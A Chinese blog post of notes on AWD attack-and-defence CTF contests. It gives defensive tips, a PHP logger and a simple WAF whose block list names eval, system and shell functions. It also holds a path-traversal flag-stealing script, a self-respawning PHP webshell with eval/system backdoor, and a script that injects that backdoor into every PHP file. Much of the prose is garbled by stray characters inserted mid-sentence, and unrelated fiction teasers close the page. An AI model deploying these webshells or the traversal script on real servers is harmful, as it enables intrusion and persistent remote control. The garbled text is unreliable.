AWD攻略筆記

AWD真好玩

開(kāi)局一張圖痹兜,內(nèi)容全靠編

awd.png

AWD是什么

Attack With Defence再登,簡(jiǎn)而言之就是你既是一個(gè)hacker方篮,又是一個(gè)manager有缆。
比賽形式:
一般就是一個(gè)ssh對(duì)應(yīng)一個(gè)web或者pwn或者其他服務(wù)象踊,然后flag若干分鐘一輪,各隊(duì)一般都有自己的初始分?jǐn)?shù)棚壁,flag被拿會(huì)被拿走flag的隊(duì)伍均分通危,主辦方會(huì)對(duì)每個(gè)隊(duì)伍的服務(wù)是否正常進(jìn)行check,check不過(guò)就扣分灌曙,扣除的分值由服務(wù)check正常的隊(duì)伍均分。

AWD題目類(lèi)型

題目類(lèi)型

只了解web的哭了

  1. 出題人自己寫(xiě)的或者修改的cms节芥,附加了一些常見(jiàn)web漏洞在刺。
  2. 常見(jiàn)或者不常見(jiàn)的cms。
  3. 一些框架漏洞头镊,比如thinkphp蚣驼,flask這種。

漏洞類(lèi)型

基本上web常見(jiàn)漏洞都會(huì)有相艇,pwn爺爺和其他的就不清楚了颖杏。

出題人思路

一般來(lái)說(shuō)比較多見(jiàn)的是某些cms漏洞,為了減少現(xiàn)場(chǎng)挖洞的難度坛芽,一般出題人會(huì)放置一些很明顯的漏洞代碼留储,獲取一些常用的web工具(漏洞工具)翼抠,等等,再放幾個(gè)比較簡(jiǎn)單的洞获讳,直接在index.php或者web根目錄下放個(gè)一句話(huà)木馬阴颖。

如何攻擊

AWD模式的比賽跟日常的滲透測(cè)試有共同之處。

如何拿flag

一般來(lái)說(shuō)就是以下兩種模式:

  • 向內(nèi)網(wǎng)一臺(tái)機(jī)器發(fā)送http請(qǐng)求丐膝,返回請(qǐng)求中包含flag量愧。
  • 又例如系統(tǒng)根目錄下放置flag文件。

一個(gè)良好的競(jìng)賽者需要的品質(zhì)

  • 快速的漏洞反應(yīng)能力帅矗。因?yàn)橛械臅r(shí)候偎肃,一些比賽放的漏洞都是網(wǎng)上能查到的,所以這個(gè)時(shí)候需要一個(gè)好的搜索技巧浑此±鬯蹋或者是一些rec顯而易見(jiàn)的那種。
  • 快速編寫(xiě)腳本的能力尤勋。因?yàn)榇蠹业姆?wù)都是一樣的喘落,而你如果能通過(guò)比如注入的方式拿到flag,如果用hackbar一個(gè)個(gè)去弄最冰,顯然不夠優(yōu)雅瘦棋,而且有時(shí)候特別會(huì)容易遺漏,那么這個(gè)時(shí)候?qū)憘€(gè)小python腳本無(wú)疑是極好的暖哨。

如何防守

其實(shí)防守更多看的是誰(shuí)比較細(xì)心赌朋。適合運(yùn)維人員。

  • 比賽開(kāi)始的加固階段
    比賽開(kāi)始時(shí)篇裁,當(dāng)我們連上ssh的時(shí)候沛慢,我們首先應(yīng)該做的是修改一下服務(wù)器密碼(有時(shí)候不需要),然后把源碼down下來(lái)达布,及時(shí)做好備份团甲。以方便進(jìn)行代碼審計(jì)。然后在盡量不違反主辦方賽事的原則下掛上自己的waf黍聂,以及刪除一些敏感性的文件或者數(shù)據(jù)等躺苦。在比賽開(kāi)放攻擊的時(shí)候需要我們自己去抓流量。監(jiān)控網(wǎng)站日志等信息产还,以做好應(yīng)急響應(yīng)匹厘。
    修改常見(jiàn)的一些弱口令密碼,像網(wǎng)站后臺(tái)密碼等脐区,如果能有權(quán)限對(duì)系統(tǒng)愈诚、web容器、數(shù)據(jù)庫(kù)配置做一些更改的話(huà),進(jìn)行相應(yīng)的加固操作炕柔。數(shù)據(jù)庫(kù)密碼一般在網(wǎng)站的配置文件中可以看到酌泰,對(duì)數(shù)據(jù)庫(kù)做了密碼更改等操作也需要修改配置文件,以保證網(wǎng)站能正常運(yùn)行汗唱。

  • 接下來(lái)的工作
    當(dāng)然是審計(jì)宫莱,審計(jì),再審計(jì)哩罪。挖掘漏洞授霸。

  • 當(dāng)發(fā)現(xiàn)被攻擊時(shí)
    當(dāng)發(fā)現(xiàn)自己被打時(shí),首先嘗試還原以前的備份(記得備份當(dāng)前)际插,如果依然被打碘耳,這個(gè)時(shí)候應(yīng)該跟隊(duì)友分好工,查看抓取的流量以及查看服務(wù)器上是不是存在shell框弛。

附上小腳本:

木馬

各種不死馬辛辨、內(nèi)存馬啥的,都可以派上用場(chǎng)瑟枫。這里就不展示了斗搞。

日志記錄

<!-- 日志記錄腳本 -->
<?php
date_default_timezone_set("Asia/Shanghai");
$ip = $_SERVER['REMOTE_ADDR'];      //記錄訪(fǎng)問(wèn)者的IP
$filename = $_SERVER['PHP_SELF'];   //訪(fǎng)問(wèn)者要訪(fǎng)問(wèn)的文件名
$parameter = $_SERVER['QUERY_STRING'];     //訪(fǎng)問(wèn)者要請(qǐng)求的參數(shù)
$time = date('Y-m-d H:i:s', time());        //訪(fǎng)問(wèn)時(shí)間
$logadd = '訪(fǎng)問(wèn)時(shí)間:'.$time.'-->'.'訪(fǎng)問(wèn)鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";

//log記錄
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

簡(jiǎn)單的waf示例

<?php
    error_reporting(0);
    define('LOG_FILENAME','log.txt');
    function waf()
    {
        if (!function_exists('getallheaders')) {
            function getallheaders() {
                foreach ($_SERVER as $name => $value) {
                    if (substr($name, 0, 5) == 'HTTP_')
                        $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                }
                return $headers;
            }
        }
        $get = $_GET;
        $post = $_POST;
        $cookie = $_COOKIE;
        $header = getallheaders();
        $files = $_FILES;
        $ip = $_SERVER["REMOTE_ADDR"];
        $method = $_SERVER['REQUEST_METHOD'];
        $filepath = $_SERVER["SCRIPT_NAME"];
        //rewirte shell which uploaded by others, you can do more
        foreach ($_FILES as $key => $value) {
            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
            file_put_contents($_FILES[$key]['tmp_name'], "virink");
        }
        unset($header['Accept']);//fix a bug
        $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
        //deal with
        $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
        $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
        $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
        $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
        $vpattern = explode("|",$pattern);
        $bool = false;
        foreach ($input as $k => $v) {
            foreach($vpattern as $value){
                foreach ($v as $kk => $vv) {
                    if (preg_match( "/$value/i", $vv )){
                        $bool = true;
                        logging($input);
                        break;
                    }
                }
                if($bool) break;
            }
            if($bool) break;
        }
    }
    function logging($var){
        file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
        // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    }
    waf();
?>



再更新:

之前也受星盟安全團(tuán)隊(duì)邀請(qǐng)慷妙,玩過(guò)幾次AWD僻焚,再記錄下。

比賽開(kāi)始

相關(guān)條目來(lái)自郁離歌大哥的經(jīng)驗(yàn):http://yulige.top/?p=394

  • 0X01 改ssh密碼(如果是默認(rèn)的就改)

  • 0X02 dump源碼
    進(jìn)入/var/www/html目錄下膝擂,執(zhí)行命令zip -qr www.zip虑啤。
    還原的時(shí)候,先進(jìn)入/var/www/html目錄下架馋,再執(zhí)行命令unzip www.zip狞山,unzip -l www.zip用于查看壓縮文件中包含的文件。

    可恨的是原始的靶機(jī)有時(shí)候并沒(méi)有預(yù)置zip命令叉寂。還是MobaXtern這種自帶ftp的ssh工具好用萍启。

  • 0X03 修改數(shù)據(jù)庫(kù)密碼和備份數(shù)據(jù)庫(kù)

    1. 修改密碼:

    set password for root@localhost = password('新密碼');

    1. 備份

    mysqldump -uroot -p密碼 --databases 根據(jù)配置文件確定數(shù)據(jù)庫(kù) > aaa.sql

    備份全部數(shù)據(jù)庫(kù)

    mysqldump -uroot -p密碼 --all-databases > /tmp/all.sql

    1. 還原

    mysql -uroot -p密碼 < aaa.sql

    注意是否已經(jīng)建立了數(shù)據(jù)庫(kù)。

  • 0X04 拿到源碼之后先D盾查殺

  • 0X05. seay掃洞(沒(méi)啥大用處屏鳍,一般題目代碼量不會(huì)很大)

  • 0X06. 上監(jiān)控腳本

  • 0X07. 審計(jì)

  • 0X08. 時(shí)刻關(guān)注流量和積分榜

  • 0X09. 寫(xiě)腳本批量拿分和提交

批量獲取flag和提交的腳本

(視比賽平臺(tái)而定)

關(guān)于自動(dòng)提交flag函數(shù)中的headers勘纯,應(yīng)該只要Content-TypeCookie就行。視情況而定吧孕蝉,實(shí)在不能自動(dòng)提交,就抓包把所有的請(qǐng)求頭都寫(xiě)上腌逢。

import requests
import re

def submit_flag(flag):
    url = 'http://39.100.119.37:10000/commit/flag'
    headers = {'Host': '39.100.119.37:10000','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0','Accept': 'application/json, text/javascript, */*; q=0.01','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/json; charset=UTF-8','X-Requested-With': 'XMLHttpRequest','Connection': 'close','Referer': 'http://39.100.119.37:10000/admin','Cookie': 'PHPSESSID=7loc4cqkqudv3v0g85a0h77586'}
    data = '{"flag":"' + flag + '","token":"8c7889befd2f3bf81d23e0f0b4a9c831"}'
    print(data)
    # data1 = str('{"flag":"{}"').format(flag)+',"token":"8c7889befd2f3bf81d23e0f0b4a9c831"}' #語(yǔ)法錯(cuò)誤
    req = requests.post(url,data=data,headers=headers)
    print(req.text)

def get_flag_by_post():
    for _ in range(1,13):
        if _ <10:
            _ = '0'+ str(_)
        _ = str(_)
        url = 'http://47.56.9.150:1{}80/download.php'.format(_)
        post_data = {'filename':'../../../../flag'}
        print(url)
        req = requests.post(url=url,data=post_data)
        if req.status_code ==404:
            continue
        submit_flag(req.text)
        
# 如果要處理異常降淮,函數(shù)可以這樣寫(xiě)(但submit_flag如果出現(xiàn)異常,則無(wú)法得知,推薦先用上面的函數(shù))
def get_flag_by_post2():
    for _ in range(1,13):
        if _ <10:
            _ = '0'+ str(_)
        _ = str(_)
        url = 'http://47.56.9.150:1{}80/download.php'.format(_)
        post_data = {'filename':'../../../../flag'}
        print(url)
        try:
            req = requests.post(url,data=data)
            if req.status_code == 404:
                continue
            submit_flag(req.text)
        except Exception as e:
            print(e)
            continue

一些tip

如果遇到冰蝎馬這種后門(mén)佳鳖,是不能直接寫(xiě)腳本批量獲取flag的霍殴,這時(shí)候就要盡快通過(guò)冰蝎連接shell,種下不死馬系吩。

D盾掃出來(lái)的后門(mén)畢竟一下就被修復(fù)了来庭。還需要隊(duì)員進(jìn)行全盤(pán)的代碼審計(jì),如文件讀取穿挨,萬(wàn)能密碼繞過(guò)登錄月弛,文件上傳反序列化等等科盛。拿到一個(gè)權(quán)限后帽衙,就批量打一會(huì),再種個(gè)不死馬維持一下贞绵。

不死馬/內(nèi)存馬

保存為 .index.php隱藏文件厉萝,上傳到對(duì)方服務(wù)器,然后瀏覽器訪(fǎng)問(wèn)去觸發(fā)榨崩,就會(huì)生成 .config.php隱藏文件谴垫。
殺死進(jìn)程或者重啟apache會(huì)失效

<?php
unlink(__FILE__);
set_time_limit(0);  //永久執(zhí)行,直到進(jìn)程結(jié)束
ignore_user_abort(true);
//訪(fǎng)問(wèn)后母蛛,用戶(hù)關(guān)閉url翩剪,進(jìn)程不斷,繼續(xù)執(zhí)行

$path = dirname(__FILE__);
$file = $path . '/.config.php'; //生成惡意的隱藏文件(Linux系統(tǒng))
$shell = "<?php if (md5(\$_REQUEST['pass'])==='91b37b09623a404b281e69932abb97df'){@eval(\$_REQUEST['code']);@system(\$_REQUEST['sys']);exit();} ?>";

    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .config.php;');

        usleep(15000000);  //微秒級(jí)別溯祸,中間隔15秒迷惑對(duì)方
    }
?>

即使刪除了.config.php肢专,15秒后也會(huì)出現(xiàn);即使刪除了.index.php焦辅,.config.php文件15秒后還是會(huì)出現(xiàn)(親測(cè))博杖。
(在原作者基礎(chǔ)上加入了目錄限制)

在目錄下的所有PHP文件前加木馬

星盟周年慶的時(shí)候看到別人的騷思路,自己寫(xiě)了個(gè)類(lèi)似的功能筷登。
文件命名為aa.php
密碼是不能告訴你剃根,每次比賽都要換一下。

<?php
$shell = "<?php if (md5(\$_REQUEST['pass'])==='91b37b09623a404b281e69932abb97df'){@eval(\$_REQUEST['code']);@system(\$_REQUEST['sys']);exit();} ?>"."\n";

foreach(glob('*.*') as $filename){
    if ($filename != "aa.php"){
        $content = file_get_contents($filename);
        $content = $shell.$content;
        unlink($filename);
        file_put_contents($filename, $content);
    }
}
 ?>

只針對(duì)aa.php文件下的所有PHP文件前方。


next to Do:

一個(gè)好的waf狈醉、一個(gè)流量審計(jì)的腳本

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市惠险,隨后出現(xiàn)的幾起案子苗傅,更是在濱河造成了極大的恐慌,老刑警劉巖班巩,帶你破解...
    沈念sama閱讀 218,036評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件渣慕,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)逊桦,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,046評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)眨猎,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人强经,你說(shuō)我怎么就攤上這事睡陪。” “怎么了匿情?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,411評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵兰迫,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我码秉,道長(zhǎng)逮矛,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,622評(píng)論 1 293
  • 正文 為了忘掉前任转砖,我火速辦了婚禮须鼎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘府蔗。我一直安慰自己晋控,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,661評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布姓赤。 她就那樣靜靜地躺著赡译,像睡著了一般。 火紅的嫁衣襯著肌膚如雪不铆。 梳的紋絲不亂的頭發(fā)上蝌焚,一...
    開(kāi)封第一講書(shū)人閱讀 51,521評(píng)論 1 304
  • 那天,我揣著相機(jī)與錄音誓斥,去河邊找鬼只洒。 笑死,一個(gè)胖子當(dāng)著我的面吹牛劳坑,可吹牛的內(nèi)容都是我干的毕谴。 我是一名探鬼主播,決...
    沈念sama閱讀 40,288評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼距芬,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼涝开!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起框仔,我...
    開(kāi)封第一講書(shū)人閱讀 39,200評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤舀武,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后离斩,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體银舱,經(jīng)...
    沈念sama閱讀 45,644評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡衷旅,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,837評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了纵朋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,953評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡茄袖,死狀恐怖操软,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情宪祥,我是刑警寧澤聂薪,帶...
    沈念sama閱讀 35,673評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站蝗羊,受9級(jí)特大地震影響藏澳,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜耀找,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,281評(píng)論 3 329
  • 文/蒙蒙 一翔悠、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧野芒,春花似錦蓄愁、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,889評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至摇锋,卻和暖如春丹拯,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背荸恕。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,011評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工乖酬, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人戚炫。 一個(gè)月前我還...
    沈念sama閱讀 48,119評(píng)論 3 370
  • 正文 我出身青樓剑刑,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親双肤。 傳聞我的和親對(duì)象是個(gè)殘疾皇子施掏,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,901評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容